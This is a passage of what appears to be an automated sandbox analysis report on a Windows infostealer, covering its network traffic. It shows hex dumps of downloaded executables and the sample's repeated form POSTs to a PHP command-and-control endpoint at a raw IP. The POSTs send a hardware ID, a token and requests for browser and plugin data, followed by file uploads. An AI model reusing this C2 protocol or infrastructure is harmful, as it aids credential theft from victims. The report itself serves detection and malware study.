09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 37 30 39 38 30 35 34 31 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="hwid"8870980541E64120021454------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="build"tale------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"browsers------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"plugins------CAKKJKKECFIDGDHIJEGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"fplugins------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGDHCBAEHIDGCGIDAHost: 185.215.113.206Content-Length: 6999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFIDHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAAHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="file"------GHDHDGHJEBGIDGDGIJJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 